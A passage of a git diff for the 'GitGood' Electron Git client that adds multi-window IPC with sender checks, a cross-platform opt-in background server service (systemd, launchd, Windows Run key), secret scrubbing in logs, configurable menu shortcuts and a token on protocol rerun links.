(process.env.GITGOOD_SMOKE_SCRIPT) runSmokeScript(mainWindow, process.env.GITGOOD_SMOKE_SCRIPT); + flushPendingProtocolUrls(firstWindow); + if (process.env.GITGOOD_SMOKE_SCRIPT) runSmokeScript(firstWindow, process.env.GITGOOD_SMOKE_SCRIPT); store.onSettingsChanged((settings) => bus.emit('settings.changed', settings)); nativeTheme.on('updated', () => bus.emit('theme.changed', { dark: nativeTheme.shouldUseDarkColors })); @@ -246,16 +282,17 @@ if (!gotLock) { // Discover git/gh/claude in the background and tell the renderer. void tools.refresh().then((state) => { log.info(`git: ${state.git.version ?? 'missing'} (${state.git.path ?? '-'}); gh: ${state.gh.version ?? 'missing'} (${state.gh.path ?? '-'}); account: ${state.ghAccount?.login ?? 'none'}`); - bus.emit('tools.changed', state); - // A scan registers candidates through Git, so wait until initial tool discovery finishes. - if (store.getSettings().watchedFolders.length) { + }); + // A scan registers candidates through Git only, so it waits for the git probe — never for gh, whose probe and sign-in read can take many seconds. + if (store.getSettings().watchedFolders.length) { + void tools.ensure('git').then(() => { log.info('Scanning watched folders'); - void watchedFolders + return watchedFolders .scan() .then((r) => log.info(`Watched-folder scan: ${r.added} added, ${r.skipped} skipped, ${r.dropped} dropped, ${r.unreadable} unreadable${r.cancelled ? ', cancelled' : ''}`)) .catch((err) => log.error('Watched-folder scan failed', err)); - } - }); + }); + } // Periodic background fetch for the active repository. setInterval(async () => { @@ -281,7 +318,7 @@ if (!gotLock) { }, 30_000); app.on('activate', () => { - if (BrowserWindow.getAllWindows().length === 0) mainWindow = createMainWindow(store, onFocusChange); + if (BrowserWindow.getAllWindows().length === 0) openDesktopWindow(); }); app.on('before-quit', () => { inbox.dispose(); diff --git a/src/main/integrations/shell-command.ts b/src/main/integrations/shell-command.ts index 3042031..9f94008 100644 --- a/src/main/integrations/shell-command.ts +++ b/src/main/integrations/shell-command.ts @@ -6,7 +6,6 @@ * spawning so the argument shapes can be unit tested on any platform. * `shells.ts` turns the result into an actual launch. */ -import type { CommandQuoting } from '@shared/agent-presets'; export type Platform = 'linux' | 'darwin' | 'win32'; @@ -31,21 +30,6 @@ function cmdQuote(s: string): string { return `"${s.replace(/"/g, '""')}"`; } -/** - * Which shell will parse the agent command in this terminal, so the file path - * substituted into it can be escaped for that shell. Answered for every - * terminal GitGood knows, including the ones it cannot start a command in - * (their command is only copied to the clipboard, but it still has to be - * pasteable). - */ -export function quotingFor(id: string, platform: Platform): CommandQuoting { - if (platform !== 'win32') return 'posix'; - // Windows Terminal is given `cmd /k `; Git Bash is a POSIX shell. - if (id === 'powershell') return 'powershell'; - if (id === 'gitbash') return 'posix'; - return 'cmd'; -} - /** * Returns how to launch terminal `id` (from shells.ts) at `cwd` running * `command`, or null when GitGood does not know a reliable way for that diff --git a/src/main/integrations/shells.ts b/src/main/integrations/shells.ts index d2872b3..992487a 100644 --- a/src/main/integrations/shells.ts +++ b/src/main/integrations/shells.ts @@ -5,7 +5,8 @@ import { join } from 'node:path'; import type { FoundShell } from '@shared/types'; import { cmdQuote, launchDetached, startOnWindows } from '../exec'; import { findExecutable } from '../tools'; -import { buildCommandScript, canRunCommandIn, quotingFor, shellCommandInvocation, type Platform } from './shell-command'; +import { buildCommandScript, canRunCommandIn, shellCommandInvocation, type Platform } from './shell-command'; +import { quotingFor } from '@shared/agent-presets'; const pf = process.env.ProgramFiles ?? 'C:\\Program Files'; const local = process.env.LOCALAPPDATA ?? ''; diff --git a/src/main/ipc.ts b/src/main/ipc.ts index 5c63c23..71caf3a 100644 --- a/src/main/ipc.ts +++ b/src/main/ipc.ts @@ -2,7 +2,10 @@ import { BrowserWindow, ipcMain } from 'electron'; import type { ApiMethodName, EventPayloads } from '@shared/ipc'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL } from '@shared/ipc'; import type { IpcResult } from '@shared/types'; +import { clientContext } from './core/client-context'; +import { windowClientId } from './core/event-routing'; import { createHandlers, type HandlerDeps } from './core/handlers'; +import { appEntryUrl, isTrustedSender } from './app-url'; export type { HandlerDeps } from './core/handlers'; @@ -12,8 +15,12 @@ export function sendEvent(win: BrowserWindow | nu win.webContents.send(IPC_EVENT_CHANNEL, event, payload); } -/** Binds the Electron-free core dispatch to `ipcMain` for the desktop app. */ +/** Binds the Electron-free core dispatch to `ipcMain` for the desktop app. Each call runs as the client of the window that sent it, so every window has its own open repository, watcher and in-flight jobs. */ export function registerIpc(deps: HandlerDeps): void { const { dispatch } = createHandlers(deps); - ipcMain.handle(IPC_INVOKE_CHANNEL, (_event, method: ApiMethodName, ...args: unknown[]): Promise> => dispatch(method, args)); + const entry = appEntryUrl(); + ipcMain.handle(IPC_INVOKE_CHANNEL, (event, method: ApiMethodName, ...args: unknown[]): Promise> => { + if (!isTrustedSender(event, entry)) throw new Error('IPC refused: sender is not the app window.'); + return clientContext.run(windowClientId(event.sender.id), () => dispatch(method, args)); + }); } diff --git a/src/main/local-server.ts b/src/main/local-server.ts index a8c4bab..ba3ddd8 100644 --- a/src/main/local-server.ts +++ b/src/main/local-server.ts @@ -1,14 +1,23 @@ -import { execFile } from 'node:child_process'; +import { execFile, execFileSync } from 'node:child_process'; import { copyFileSync, existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; import { homedir } from 'node:os'; -import { dirname, join } from 'node:path'; +import { basename, dirname, join, posix, win32 } from 'node:path'; +import { pathToFileURL } from 'node:url'; import { promisify } from 'node:util'; import { app, dialog } from 'electron'; const execFileAsync = promisify(execFile); const UNIT_NAME = 'gitgood-server'; -const UNIT_MARKER = '# Managed by the GitGood desktop app; rewritten on launch.'; +const LAUNCHD_LABEL = 'com.gitgood.server'; +const RUN_KEY = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'; +const RUN_VALUE = 'GitGoodServer'; +/** Makes the packaged exe run only the headless server (see `startBackgroundServer`); the Windows login item passes it. */ +export const BACKGROUND_SERVER_FLAG = '--gitgood-server'; +/** Present in every definition the desktop installs (as a comment), so only its own service definitions are ever rewritten. */ +const MARKER = 'Managed by the GitGood desktop app; rewritten on launch.'; const SERVER_URL = 'http://127.0.0.1:4600'; +/** Runs the bundled server under Electron's Node mode (`ELECTRON_RUN_AS_NODE=1`). */ +const NODE_ENTRY = "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','server','index.mjs')).href)"; export interface UnitStatus { exists: boolean; @@ -17,24 +26,22 @@ export interface UnitStatus { } /** - * The service starts the bundled server through Electron's Node mode. The - * trailing `-- --no-sandbox` stops the AppImage's AppRun from prepending - * `--no-sandbox` (which Node mode rejects) on systems without user - * namespaces; after `--` Node treats it as a plain script argument. + * The systemd unit. The trailing `-- --no-sandbox` stops the AppImage's AppRun + * from prepending `--no-sandbox` (which Node mode rejects) on systems without + * user namespaces; after `--` Node treats it as a plain script argument. */ export function managedUnit(exe: string): string { - const entry = "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','server','index.mjs')).href)"; // systemd splits unquoted words and expands % specifiers. const quotedExe = `"${exe.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/%/g, '%%')}"`; return `[Unit] Description=GitGood headless server After=network.target -${UNIT_MARKER} +# ${MARKER} [Service] Type=simple Environment=ELECTRON_RUN_AS_NODE=1 -ExecStart=${quotedExe} -e "${entry}" -- --no-sandbox +ExecStart=${quotedExe} -e "${NODE_ENTRY}" -- --no-sandbox Restart=on-failure RestartSec=2 @@ -43,49 +50,178 @@ WantedBy=default.target `; } -function unitPath(): string { - return join(process.env.XDG_CONFIG_HOME || join(homedir(), '.config'), 'systemd', 'user', `${UNIT_NAME}.service`); +/** The macOS LaunchAgent: starts at login and is restarted when the server exits with an error. */ +export function managedPlist(exe: string): string { + const esc = (s: string) => s.replace(/&/g, '&').replace(//g, '>'); + return ` + + + + + Label + ${LAUNCHD_LABEL} + ProgramArguments + + ${esc(exe)} + -e + ${esc(NODE_ENTRY)} + + EnvironmentVariables + + ELECTRON_RUN_AS_NODE + 1 + + RunAtLoad + + KeepAlive + + SuccessfulExit + + + + +`; +} + +/** The Windows login item (HKCU Run value): the GUI exe started with the flag that makes it run only the server. */ +export function managedRunCommand(exe: string): string { + return `"${exe}" ${BACKGROUND_SERVER_FLAG}`; +} + +/** The value data from `reg query KEY /v NAME` output, or null when absent. */ +export function parseRegQuery(stdout: string): string | null { + const m = new RegExp(`^\\s*${RUN_VALUE}\\s+REG_SZ\\s+(.*?)\\s*$`, 'm').exec(stdout); + return m ? m[1] : null; +} + +/** Escapes a PowerShell single-quoted string. */ +function psQuote(s: string): string { + return s.replace(/'/g, "''"); +} + +/** One OS command of a service lifecycle; `optional` steps (e.g. stopping a service that may not run) may fail. */ +interface Step { + argv: string[]; + optional?: boolean; +} + +interface ServiceBackend { + /** The definition file the desktop owns (systemd unit, LaunchAgent plist); null where the definition is a registry value. */ + file: string | null; + /** Reads the definition when it is not a file (Windows `reg query`). */ + query?: Step; + render(exe: string): string; + /** Runs after the definition is written: start now and at every login. */ + install(exe: string): Step[]; + /** Runs when the server must be restarted; `rewritten` when the definition just changed. */ + restart(rewritten: boolean, exe: string): Step[]; +} + +/** The service manager of `platform`: systemd user unit, launchd LaunchAgent, or (Windows) a per-user Run-key login item. */ +export function serviceBackend(platform: NodeJS.Platform, o: { home: string; uid?: number; xdgConfigHome?: string }): ServiceBackend | null { + if (platform === 'linux') { + const systemctl = (...args: string[]): Step => ({ argv: ['systemctl', '--user', ...args] }); + return { + file: posix.join(o.xdgConfigHome || posix.join(o.home, '.config'), 'systemd', 'user', `${UNIT_NAME}.service`), + render: managedUnit, + install: () => [systemctl('daemon-reload'), systemctl('enable', '--now', UNIT_NAME), systemctl('restart', UNIT_NAME)], + restart: (rewritten) => (rewritten ? [systemctl('daemon-reload'), systemctl('restart', UNIT_NAME)] : [systemctl('restart', UNIT_NAME)]), + }; + } + if (platform === 'darwin') { + const domain = `gui/${o.uid}`; + const target = `${domain}/${LAUNCHD_LABEL}`; + const file = posix.join(o.home, 'Library', 'LaunchAgents', `${LAUNCHD_LABEL}.plist`); + const bootout: Step = { argv: ['launchctl', 'bootout', target], optional: true }; + const bootstrap: Step = { argv: ['launchctl', 'bootstrap', domain, file] }; + const kickstart: Step = { argv: ['launchctl', 'kickstart', '-k', target] }; + // A changed plist only takes effect after it is booted out and in again; an unchanged, already loaded agent just restarts. + const reload = [bootout, bootstrap, kickstart]; + return { file, render: managedPlist, install: () => reload, restart: (rewritten) => (rewritten ? reload : [{ ...bootstrap, optional: true }, kickstart]) }; + } + if (platform === 'win32') { + // A per-user Run entry needs no elevation and launches the GUI-subsystem exe (no console window); the exe then runs the server itself (startBackgroundServer). + const ps = (script: string): Step => ({ argv: ['powershell.exe', '-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-Command', script], optional: true }); + const stop = (exe: string) => ps(`Get-CimInstance Win32_Process | Where-Object { $_.Name -eq '${psQuote(win32.basename(exe))}' -and $_.CommandLine -like '*${BACKGROUND_SERVER_FLAG}*' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }`); + const start = (exe: string): Step => ({ argv: ['powershell.exe', '-NoProfile', '-NonInteractive', '-WindowStyle', 'Hidden', '-Command', `Start-Process -FilePath '${psQuote(exe)}' -ArgumentList '${BACKGROUND_SERVER_FLAG}'`] }); + const register = (exe: string): Step => ({ argv: ['reg', 'add', RUN_KEY, '/v', RUN_VALUE, '/t', 'REG_SZ', '/d', managedRunCommand(exe), '/f'] }); + return { + file: null, + query: { argv: ['reg', 'query', RUN_KEY, '/v', RUN_VALUE] }, + render: managedRunCommand, + install: (exe) => [register(exe), stop(exe), start(exe)], + restart: (rewritten, exe) => [...(rewritten ? [register(exe)] : []), stop(exe), start(exe)], + }; + } + return null; +} + +function backend(): ServiceBackend | null { + return app.isPackaged ? serviceBackend(process.platform, { home: homedir(), uid: process.getuid?.(), xdgConfigHome: process.env.XDG_CONFIG_HOME }) : null; } function currentExecutable(): string { return process.env.APPIMAGE || process.execPath; } -function supported(): boolean { - return process.platform === 'linux' && app.isPackaged; +/** Whether this build can install the background server on this OS (packaged desktop on Linux, macOS or Windows). */ +export function managedServerSupported(): boolean { + return backend() !== null; } export function readUnit(): UnitStatus { - const file = unitPath(); - if (!existsSync(file)) return { exists: false, managed: false, text: null }; + const service = backend(); + if (!service) return { exists: false, managed: false, text: null }; try { - const text = readFileSync(file, 'utf8'); - return { exists: true, managed: text.includes(UNIT_MARKER), text }; + // Windows keeps the definition in the registry (sync: callers decide the banner action inline). + const text = service.query ? parseRegQuery(execFileSync(service.query.argv[0], service.query.argv.slice(1), { encoding: 'utf8', windowsHide: true })) : service.file && existsSync(service.file) ? readFileSync(service.file, 'utf8') : null; + return text === null ? { exists: false, managed: false, text: null } : { exists: true, managed: text.includes(MARKER) || text.endsWith(` ${BACKGROUND_SERVER_FLAG}`), text }; } catch { - return { exists: true, managed: false, text: null }; + // `reg query` exits non-zero when the value is absent; an unreadable file is treated as foreign. + return service.query ? { exists: false, managed: false, text: null } : { exists: true, managed: false, text: null }; } } -async function systemctl(...args: string[]): Promise { - await execFileAsync('systemctl', ['--user', ...args]); +/** Writes the definition file; Windows has none (its install/restart steps write the registry value). */ +function writeDefinition(service: ServiceBackend, text: string): void { + if (!service.file) return; + mkdirSync(dirname(service.file), { recursive: true }); + writeFileSync(service.file, text); +} + +/** Entry for `GitGood.exe --gitgood-server` (Windows login item): runs the bundled headless server inside this Electron process, with no window, menu or single-instance lock. */ +export function startBackgroundServer(): void { + app.dock?.hide(); + const entry = pathToFileURL(join(process.resourcesPath, 'app.asar', 'out', 'server', 'index.mjs')).href; + import(/* @vite-ignore */ entry).catch((err: unknown) => { + console.error('GitGood server failed to start', err); + app.exit(1); + }); } -/** Rewrites only units previously installed by this desktop, then restarts a skewed server. */ +async function runSteps(steps: Step[]): Promise { + for (const { argv, optional } of steps) { + try { + await execFileAsync(argv[0], argv.slice(1), { windowsHide: true }); + } catch (err) { + if (!optional) throw err; + } + } +} + +/** Rewrites only definitions previously installed by this desktop, then restarts a skewed server. */ export async function ensureManagedServer(serverVersion: string | null, desktopVersion: string): Promise<'unmanaged' | 'ok' | 'restarted'> { - if (!supported()) return 'ok'; + const service = backend(); + if (!service) return 'ok'; const unit = readUnit(); if (!unit.managed) return 'unmanaged'; - const expected = managedUnit(currentExecutable()); + const exe = currentExecutable(); + const expected = service.render(exe); const changed = unit.text !== expected; - if (changed) { - const file = unitPath(); - mkdirSync(dirname(file), { recursive: true }); - writeFileSync(file, expected); - await systemctl('daemon-reload'); - } + if (changed) writeDefinition(service, expected); if (changed || serverVersion !== desktopVersion) { - await systemctl('restart', UNIT_NAME); + await runSteps(service.restart(changed, exe)); return 'restarted'; } return 'ok'; @@ -103,7 +239,8 @@ function copyInitialData(userData: string, serverData: string): void { /** Installs the desktop-managed service and switches this launch to client mode. */ export async function setUpManagedServer(userData: string): Promise { - if (!supported()) return; + const service = backend(); + if (!service) return; try { const confirmation = await dialog.showMessageBox({ type: 'info', @@ -121,7 +258,7 @@ export async function setUpManagedServer(userData: string): Promise { const replace = await dialog.showMessageBox({ type: 'warning', title: 'Replace GitGood server service?', - message: 'An unmanaged gitgood-server.service already exists.', + message: `An unmanaged ${service.file ? basename(service.file) : RUN_VALUE} already exists.`, detail: 'It may be running from a source checkout. Replace it with the desktop-managed service?', buttons: ['Cancel', 'Replace'], defaultId: 1, @@ -134,12 +271,8 @@ export async function setUpManagedServer(userData: string): Promise { mkdirSync(serverData, { recursive: true }); copyInitialData(userData, serverData); - const file = unitPath(); - mkdirSync(dirname(file), { recursive: true }); - writeFileSync(file, managedUnit(currentExecutable())); - await systemctl('daemon-reload'); - await systemctl('enable', '--now', UNIT_NAME); - await systemctl('restart', UNIT_NAME); + writeDefinition(service, service.render(currentExecutable())); + await runSteps(service.install(currentExecutable())); writeFileSync(join(userData, 'server-url'), `${SERVER_URL}\n`); app.relaunch(); @@ -148,4 +281,3 @@ export async function setUpManagedServer(userData: string): Promise { dialog.showErrorBox('GitGood server', err instanceof Error ? err.message : String(err)); } } - diff --git a/src/main/logger.ts b/src/main/logger.ts index 28219a5..2dbc832 100644 --- a/src/main/logger.ts +++ b/src/main/logger.ts @@ -1,5 +1,6 @@ import { appendFileSync, existsSync, mkdirSync, renameSync, statSync } from 'node:fs'; import { join } from 'node:path'; +import { scrubSecrets } from '@shared/secrets'; let logDir: string | null = null; let logFile: string | null = null; @@ -9,7 +10,7 @@ export function initLogger(dir: string): void { logDir = dir; logFile = join(dir, 'gitgood.log'); try { - if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 }); } catch { /* ignore */ } @@ -20,7 +21,7 @@ export function getLogPath(): string { } function write(level: string, message: string): void { - const line = `${new Date().toISOString()} [${level}] ${message}\n`; + const line = `${new Date().toISOString()} [${level}] ${scrubSecrets(message)}\n`; if (process.env.NODE_ENV !== 'production' || level !== 'info') { if (level === 'error') console.error(line.trimEnd()); else if (level === 'warn') console.warn(line.trimEnd()); @@ -31,7 +32,7 @@ function write(level: string, message: string): void { if (existsSync(logFile) && statSync(logFile).size > MAX_BYTES) { renameSync(logFile, join(logDir, 'gitgood.old.log')); } - appendFileSync(logFile, line); + appendFileSync(logFile, line, { mode: 0o600 }); } catch { /* ignore */ } diff --git a/src/main/menu.ts b/src/main/menu.ts index 6ea641e..38e4a74 100644 --- a/src/main/menu.ts +++ b/src/main/menu.ts @@ -1,4 +1,5 @@ import { app, BrowserWindow, Menu, shell, type MenuItemConstructorOptions } from 'electron'; +import { mergeShortcuts, type ShortcutOverrides } from '@shared/shortcuts'; import { sendEvent } from './ipc'; const isMac = process.platform === 'darwin'; @@ -6,21 +7,23 @@ const isMac = process.platform === 'darwin'; interface MenuOptions { showManagedServer?: boolean; onManagedServer?: () => void; + /** Present only when the app can open extra windows (local mode); adds File → New Window. */ + onNewWindow?: () => void; + /** `AppSettings.shortcuts`: per-action accelerator overrides on top of the defaults. */ + shortcuts?: ShortcutOverrides; } -function action(label: string, id: string, accelerator?: string, args?: unknown): MenuItemConstructorOptions { - return { +export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOptions = {}): Menu { + const template: MenuItemConstructorOptions[] = []; + const accelerators = mergeShortcuts(options.shortcuts); + const action = (label: string, id: string): MenuItemConstructorOptions => ({ label, - accelerator, + accelerator: accelerators[id] ?? undefined, click: (_item, win) => { const target = (win instanceof BrowserWindow ? win : BrowserWindow.getAllWindows()[0]) ?? null; - sendEvent(target, 'menu.action', { action: id, args }); + sendEvent(target, 'menu.action', { action: id }); }, - }; -} - -export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOptions = {}): Menu { - const template: MenuItemConstructorOptions[] = []; + }); if (isMac) { template.push({ @@ -28,7 +31,7 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp submenu: [ { role: 'about' }, { type: 'separator' }, - action('Settings…', 'settings', 'CmdOrCtrl+,'), + action('Settings…', 'settings'), { type: 'separator' }, { role: 'services' }, { type: 'separator' }, @@ -44,17 +47,18 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ label: '&File', submenu: [ - action('New Repository…', 'new-repository', 'CmdOrCtrl+N'), + action('New Repository…', 'new-repository'), + ...(options.onNewWindow ? [{ label: 'New Window', accelerator: 'CmdOrCtrl+Alt+N', click: () => options.onNewWindow?.() }] : []), { type: 'separator' }, - action('Add Local Repository…', 'add-local-repository', 'CmdOrCtrl+O'), - action('Clone Repository…', 'clone-repository', 'CmdOrCtrl+Shift+O'), + action('Add Local Repository…', 'add-local-repository'), + action('Clone Repository…', 'clone-repository'), action('Rescan Watched Folders', 'scan-watched-folders'), { type: 'separator' }, action('Export Settings…', 'export-settings'), action('Import Settings…', 'import-settings'), ...(options.showManagedServer ? [{ type: 'separator' as const }, { label: 'Run GitGood server in the background…', click: () => options.onManagedServer?.() }] : []), { type: 'separator' }, - ...(isMac ? [] : [action('Options…', 'settings', 'CmdOrCtrl+,'), { type: 'separator' } as MenuItemConstructorOptions]), + ...(isMac ? [] : [action('Options…', 'settings'), { type: 'separator' } as MenuItemConstructorOptions]), isMac ? { role: 'close' } : { role: 'quit', label: 'E&xit' }, ], }); @@ -70,30 +74,31 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp { role: 'paste' }, { role: 'selectAll' }, { type: 'separator' }, - action('Find', 'find', 'CmdOrCtrl+F'), + action('Find', 'find'), ], }); template.push({ label: '&View', submenu: [ - action('Changes', 'show-changes', 'CmdOrCtrl+1'), - action('History', 'show-history', 'CmdOrCtrl+2'), + action('Changes', 'show-changes'), + action('History', 'show-history'), { type: 'separator' }, - action('Repository List', 'show-repository-list', 'CmdOrCtrl+T'), - action('Branches List', 'show-branches-list', 'CmdOrCtrl+B'), - action('Notifications Inbox', 'show-inbox', 'CmdOrCtrl+Shift+J'), + action('Repository List', 'show-repository-list'), + action('Branches List', 'show-branches-list'), + action('Notifications Inbox', 'show-inbox'), { type: 'separator' }, - action('Go to Summary', 'focus-commit-summary', 'CmdOrCtrl+G'), - action('Toggle Split Diff', 'toggle-split-diff', 'CmdOrCtrl+Shift+D'), + action('Go to Summary', 'focus-commit-summary'), + action('Toggle Split Diff', 'toggle-split-diff'), action('Toggle Hide Whitespace', 'toggle-whitespace'), - action('Toggle Blame', 'toggle-blame', 'Alt+B'), - action('Search History for Selection', 'search-history-selection', 'CmdOrCtrl+Alt+F'), + action('Toggle Blame', 'toggle-blame'), + action('Toggle History Graph', 'toggle-history-graph'), + action('Search History for Selection', 'search-history-selection'), { type: 'separator' }, { role: 'togglefullscreen' }, - action('Zoom In', 'zoom-in', 'CmdOrCtrl+='), - action('Zoom Out', 'zoom-out', 'CmdOrCtrl+-'), - action('Reset Zoom', 'zoom-reset', 'CmdOrCtrl+0'), + action('Zoom In', 'zoom-in'), + action('Zoom Out', 'zoom-out'), + action('Reset Zoom', 'zoom-reset'), { type: 'separator' }, { role: 'reload' }, { role: 'toggleDevTools', accelerator: isMac ? 'Alt+Command+I' : 'Ctrl+Shift+I' }, @@ -103,26 +108,28 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ label: '&Repository', submenu: [ - action('Ask GitGood…', 'command-palette', 'CmdOrCtrl+K'), + action('Ask GitGood…', 'command-palette'), { type: 'separator' }, - action('Push', 'push', 'CmdOrCtrl+P'), - action('Pull', 'pull', 'CmdOrCtrl+Shift+P'), - action('Fetch', 'fetch', 'CmdOrCtrl+Shift+T'), - action('Remove…', 'remove-repository', 'CmdOrCtrl+Delete'), + action('Push', 'push'), + action('Pull', 'pull'), + action('Fetch', 'fetch'), + action('Remove…', 'remove-repository'), { type: 'separator' }, - action('Stashes', 'show-stashes', 'CmdOrCtrl+Shift+S'), - action('Worktrees…', 'show-worktrees', 'CmdOrCtrl+Shift+W'), + action('Stashes', 'show-stashes'), + action('Worktrees…', 'show-worktrees'), action('Submodules…', 'show-submodules'), action('Git LFS…', 'show-lfs'), - action('Repository Health…', 'show-health', 'CmdOrCtrl+Shift+K'), + action('Repository Health…', 'show-health'), + action('Undo History…', 'show-reflog'), + action('Undo Last Git Operation', 'undo-last-operation'), { type: 'separator' }, - action('View on GitHub', 'view-on-github', 'CmdOrCtrl+Shift+G'), - action('Open in Terminal', 'open-in-shell', 'Ctrl+`'), - action(process.platform === 'darwin' ? 'Show in Finder' : process.platform === 'win32' ? 'Show in Explorer' : 'Show in File Manager', 'show-in-folder', 'CmdOrCtrl+Shift+F'), - action('Open in External Editor', 'open-in-editor', 'CmdOrCtrl+Shift+A'), + action('View on GitHub', 'view-on-github'), + action('Open in Terminal', 'open-in-shell'), + action(process.platform === 'darwin' ? 'Show in Finder' : process.platform === 'win32' ? 'Show in Explorer' : 'Show in File Manager', 'show-in-folder'), + action('Open in External Editor', 'open-in-editor'), { type: 'separator' }, - action('Issues…', 'show-issues', 'CmdOrCtrl+Shift+L'), - action('Create Issue on GitHub', 'create-issue', 'CmdOrCtrl+I'), + action('Issues…', 'show-issues'), + action('Create Issue on GitHub', 'create-issue'), { type: 'separator' }, action('Release Notes…', 'release-notes'), action('Split into Commits with AI…', 'split-commits'), @@ -134,25 +141,25 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ label: '&Branch', submenu: [ - action('New Branch…', 'new-branch', 'CmdOrCtrl+Shift+N'), + action('New Branch…', 'new-branch'), action('Rename…', 'rename-branch'), - action('Delete…', 'delete-branch', 'CmdOrCtrl+Shift+Delete'), + action('Delete…', 'delete-branch'), { type: 'separator' }, - action('Discard All Changes…', 'discard-all-changes', 'CmdOrCtrl+Shift+Backspace'), + action('Discard All Changes…', 'discard-all-changes'), action('Stash All Changes', 'stash-all-changes'), { type: 'separator' }, - action('Update from Default Branch', 'update-from-default', 'CmdOrCtrl+Shift+U'), - action('Compare to Branch', 'compare-branch', 'CmdOrCtrl+Shift+B'), - action('Merge into Current Branch…', 'merge-branch', 'CmdOrCtrl+Shift+M'), - action('Squash and Merge into Current Branch…', 'squash-merge-branch', 'CmdOrCtrl+Shift+H'), - action('Rebase Current Branch…', 'rebase-branch', 'CmdOrCtrl+Shift+E'), + action('Update from Default Branch', 'update-from-default'), + action('Compare to Branch', 'compare-branch'), + action('Merge into Current Branch…', 'merge-branch'), + action('Squash and Merge into Current Branch…', 'squash-merge-branch'), + action('Rebase Current Branch…', 'rebase-branch'), { type: 'separator' }, - action('Compare on GitHub', 'compare-on-github', 'CmdOrCtrl+Shift+C'), + action('Compare on GitHub', 'compare-on-github'), action('View Pull Request on GitHub', 'view-pull-request'), - action('Create Pull Request', 'create-pull-request', 'CmdOrCtrl+R'), + action('Create Pull Request', 'create-pull-request'), { type: 'separator' }, action('Review Branch with AI…', 'review-branch'), - action('Review Pull Request with AI…', 'review-pull-request', 'CmdOrCtrl+Shift+R'), + action('Review Pull Request with AI…', 'review-pull-request'), action('Draft Pull Request with AI…', 'draft-pull-request-ai'), action('Tidy Up Branch with AI…', 'tidy-branch-ai'), ], @@ -165,7 +172,7 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp template.push({ role: 'help', submenu: [ - action('Keyboard Shortcuts', 'keyboard-shortcuts', 'CmdOrCtrl+/'), + action('Keyboard Shortcuts', 'keyboard-shortcuts'), action('Show Logs', 'show-logs'), { type: 'separator' }, action('Check for Updates…', 'check-for-updates'), @@ -180,3 +187,17 @@ export function buildMenu(getWindow: () => BrowserWindow | null, options: MenuOp void getWindow; return Menu.buildFromTemplate(template); } + +let installed: { getWindow: () => BrowserWindow | null; options: MenuOptions } | null = null; + +/** Sets the application menu and remembers how, so a shortcut change can rebuild it. */ +export function installMenu(getWindow: () => BrowserWindow | null, options: MenuOptions = {}): void { + installed = { getWindow, options }; + Menu.setApplicationMenu(buildMenu(getWindow, options)); +} + +/** Rebuilds the installed menu with new shortcut overrides (no-op until `installMenu` ran or when nothing changed). */ +export function refreshMenuShortcuts(shortcuts: ShortcutOverrides): void { + if (!installed || JSON.stringify(mergeShortcuts(installed.options.shortcuts)) === JSON.stringify(mergeShortcuts(shortcuts))) return; + installMenu(installed.getWindow, { ...installed.options, shortcuts }); +} diff --git a/src/main/protocol.ts b/src/main/protocol.ts index 0acd428..3339e44 100644 --- a/src/main/protocol.ts +++ b/src/main/protocol.ts @@ -8,8 +8,8 @@ export type ProtocolAction = | { kind: 'open-repo'; url: string; branch: string | null; filepath: string | null } - /** Re-run the most recent AI review for the repository at `repoPath` (decoded, native path). */ - | { kind: 'review-rerun'; repoPath: string }; + /** Re-run the most recent AI review for the repository at `repoPath` (decoded, native path). `token` is the per-run secret from the exported link, or null when the link has none. */ + | { kind: 'review-rerun'; repoPath: string; token: string | null }; export function parseProtocolUrl(raw: string): ProtocolAction | null { const text = raw.trim(); @@ -17,16 +17,19 @@ export function parseProtocolUrl(raw: string): ProtocolAction | null { if (rerun) { // Decoded by hand rather than with URLSearchParams, which reads '+' as a // space; '+' is a legal character in a path on every platform. - const raw = rerun[1].split('&').map((p) => p.split('=')).find((p) => p[0] === 'repo')?.[1]; - if (raw === undefined) return null; - let repoPath: string; - try { - repoPath = decodeURIComponent(raw).trim(); - } catch { - return null; - } + const params = rerun[1].split('&').map((p) => p.split('=')); + const decode = (key: string): string | null | undefined => { + const value = params.find((p) => p[0] === key)?.[1]; + if (value === undefined) return undefined; + try { + return decodeURIComponent(value).trim(); + } catch { + return null; + } + }; + const repoPath = decode('repo'); if (!repoPath) return null; - return { kind: 'review-rerun', repoPath }; + return { kind: 'review-rerun', repoPath, token: decode('token') || null }; } const m = /^(?:x-github-client|github-windows|github-mac|gitgood):\/\/openRepo\/(.+)$/i.exec(text); if (!m) return null; diff --git a/src/main/repo/config.ts b/src/main/repo/config.ts index 28a93ad..9a4919a 100644 --- a/src/main/repo/config.ts +++ b/src/main/repo/config.ts @@ -1,30 +1,27 @@ -import { readFile } from 'node:fs/promises'; -import { join } from 'node:path'; import { log } from '../logger'; +import { readRepoFile } from './paths'; export interface RepoConfig { /** Shell command from `.gitgood/config.json`'s `postResolveCheck` field, or null when absent/invalid. */ postResolveCheck: string | null; + /** False only when the file says `"ai": false`: AI is switched off for this repository for everyone who clones it. */ + ai: boolean; } -const EMPTY_REPO_CONFIG: RepoConfig = { postResolveCheck: null }; +const EMPTY_REPO_CONFIG: RepoConfig = { postResolveCheck: null, ai: true }; /** * Reads and validates `.gitgood/config.json` at the repository root. This * never runs the command it reports and never gates on trust: it is a pure * read used both by the trust-confirmation flow and by the resolver, which * itself decides (via the store's `trustedRepoConfigs`) whether the returned - * command may actually be run. Missing file, unreadable file or malformed + * command may 